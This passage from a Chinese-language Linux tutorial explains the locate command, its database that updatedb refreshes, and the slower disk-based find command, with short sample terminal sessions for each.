搜寻到的,所以不用直接在去硬盘当中存取数据.

数据库不是实时更新的,如果需要手动更新,可以用updatedb指令。

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# locate regular_express.txt
/root/regular_express.txt

6.4.4、find(通过硬盘查找,速度较慢)

1
2
[root@iZ8vb6ughzbdqkfd58dowoZ ~]# find /root -name rootfile.txt
/root/rootfile.txt

评论